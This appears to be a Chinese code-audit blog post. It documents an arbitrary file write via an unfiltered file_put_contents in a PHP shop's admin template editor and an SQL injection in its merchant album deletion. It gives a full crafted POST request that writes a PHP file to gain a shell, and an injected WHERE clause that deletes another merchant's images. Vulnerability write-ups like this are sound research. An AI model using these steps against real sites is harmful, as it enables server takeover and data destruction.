@1kbfree
2018-06-02T22:35:38.000000Z
字数 1602
阅读 1487
代码审计
打开URLwww.yousite.xxx?m=template
后,呈现这个页面:
点击进入目录
随便点击一个编辑,然后用Burp
抓包( 用不用都可以 )
单击提交后用Burp
抓包,抓到的数据如下图
我们将filename
修改为phpinfo.php
,把content
修改为<?php phpinfo();?>
修改后的数据包:
POST /admin.php?m=template&a=save&jq_time=1527933067821 HTTP/1.1
Host: www.iamfree.ccc
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.iamfree.ccc/admin.php?m=template&a=edit&path=default.top.html
Content-Length: 2886
Cookie: PHPSESSID=b3uto19lpaa0mbbg4rudn9oqt0; goods[cart]=180602173948571025
Connection: close
filename=phpinfo.php&content=<?php phpinfo();?>
然后就会在根目录创建一个名为phpinfo.php
的文件,并且内容为<?php phpinfo();?>
访问phpinfo.php
文件,完成GETSHELL:
public function save() {
if ($_POST) {
$file = P('filename', '修改的文件名不能为空');
$content = P('content');
$query = file_put_contents($file, stripslashes_deep($content));
if ($query) {
right_json();
} else {
error_json('保存失败');
}
} else {
error_json('提交错误');
}
}
Burp
抓的包放到Repeater
( 按住ctrl+r )模块里
file_put_contents
的返回值是第二个参数的长度
这里因为没有做任何过滤,所以这里导致了任意文件写入漏洞
进入商家登陆
登陆后,单击装修
点击相册列表,并且上传图片
首先选择这个ID为1566
的那张图片点击删除,并且用Burp
进行抓包:
我们首先随便输入一下错误的语法( 方便看到他的执行了什么语句 ):
可以看到他执行的SQL语句是:
select id,shop_id,url from uq_album where shop_id = 4 and id = 1566 or xxxx #查询uq_album表中条件为shop_id=4与id=1566的id和shop_id和url
我们现在身为test2
想把test1
的图片删了,那么我们就构造一下sql语句~
select id,shop_id,url from uq_album where shop_id = 4 and id = 1566 or shop_id in (5)
可以看见这里有3条数据被展现出来了,也就是test2
上传的图片
然后我们开始执行一下这个构造的SQL
语句:
然后我们发现那3条数据就没了:
下次补 手机已经扣了4元了 出不起了